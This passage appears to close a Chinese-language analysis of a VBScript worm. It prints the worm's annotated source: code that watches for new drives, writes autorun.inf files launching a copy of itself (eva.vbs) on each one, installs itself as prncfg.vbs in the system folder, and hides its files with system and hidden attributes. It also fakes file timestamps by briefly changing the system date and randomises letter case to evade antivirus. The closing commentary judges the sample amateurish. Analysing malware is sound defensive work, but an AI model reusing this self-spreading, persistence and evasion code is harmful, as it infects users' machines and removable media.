dri_list=listdrv()
For dri_k=1 to Len(dri_list)
If InStr(dri_list0,Mid(dri_list,dri_k,1))<=0 Then
Call writeauto(Mid(dri_list,dri_k,1)&":")
End If
Next
dri_list0=dri_list
wscript.sleep 1000
loop
Else
wshshell.run "explorer .",3
wscript.sleep 2000
wshshell.appactivate LCase("我的电脑")
wshshell.sendkeys UCase("% c") ' 模拟击键 alt + space + c ,其实就是关闭窗口
runflag=0
' 获得当前系统进程,WMI的应用
For each ps in GetObject _
("winmgmts:.rootcimv2:win32_process").instances_
If lcase(ps.name)=lcase("wscript.exe") Then
runflag=runflag+1
End If
Next
If runflag>=2 Then wscript.quit
Set sf=fso.GetFolder(sysdir)
f_time=Left(sf.datecreated,InStr(sf.datecreated," ")-1)
wshshell.run "cmd /c Date "&f_time,0
wscript.sleep 100
Call writefile(sysdir&lcase("prncfg.vbs"),vs(scopy))
wshshell.run "cmd /c Date "&c_time,0
wshshell.run sysdir&"prncfg.vbs"
End If
' 混乱字符串,进行代码变体!
Function vs(str)
Execute "For i=1 to Len(str) c=ucase(Mid(str,i,1)) randomize If Int(rnd()*100)>50 Then vs=vs&lcase(c) Else vs=vs&c End If Next vs=replace(vs,ucase("%u"),lcase("%u"))"
End Function
' 列出驱动器
Function listdrv()
Execute "Dim tmp_list tmp_list="" For each drv in drvs If drv.isready Then tmp_list=tmp_list&drv.driveletter End If Next listdrv=tmp_list"
End Function
' 写autorun.inf文件
Sub writeauto(path)
' 写Auto文件前的准备,如果path中有autorun.inf文件夹那么重命名;如果有autorun.inf文件则删除
Execute "If fso.folderexists(path&"autorun.inf") Then fso.movefolder path&"autorun.inf",path&rnd() elseif fso.fileexists(path&"autorun.inf") Then fso.deletefile path&"autorun.inf",true End If"
' autorun.inf中的启动代码
cmdstr="shell*command=wscript.exe "&chr(34)&"eva.vbs"&chr(34)
autostr="[autorun]"&vbcrlf&"open="&vbcrlf&replace(cmdstr,"*","open")&vbcrlf&replace(cmdstr,"*","explore")&vbcrlf&replace(cmdstr,"*","find")
' 写入
Call writefile(path&ucase("autorun.inf"),autostr)
Call writefile(path&"eva.vbs",vs(scopy))
End Sub
'将content中的内容写入fpath,并设置文件属性是ReadOnly、Hidden和System
Sub writefile(fpath,content)
Execute "If fso.fileexists(fpath) Then fso.deletefile fpath,true Set fc=fso.OpenTextFile(fpath,2,true) fc.write content fc.Close Set fc=Nothing Set fa=fso.getfile(fpath) fa.attributes=7 Set fa=Nothing"
End Sub
以上的代码已经添加了很多注释,如果你能奈着性子看到这里,估计应该明白的差不多了。代码本身的编码质量一般,因为这个代码在下载病毒指令是从南师大的一个网站上下载的,所以估计是个学生所为。
在这段病毒中,作者使用了自定义的vs函数进行“变脸”以逃避防病毒检测,使用随机方式对病毒体进行大小写转换,不过实际上这种处理对真正的防病毒软件是没有任何效果的J







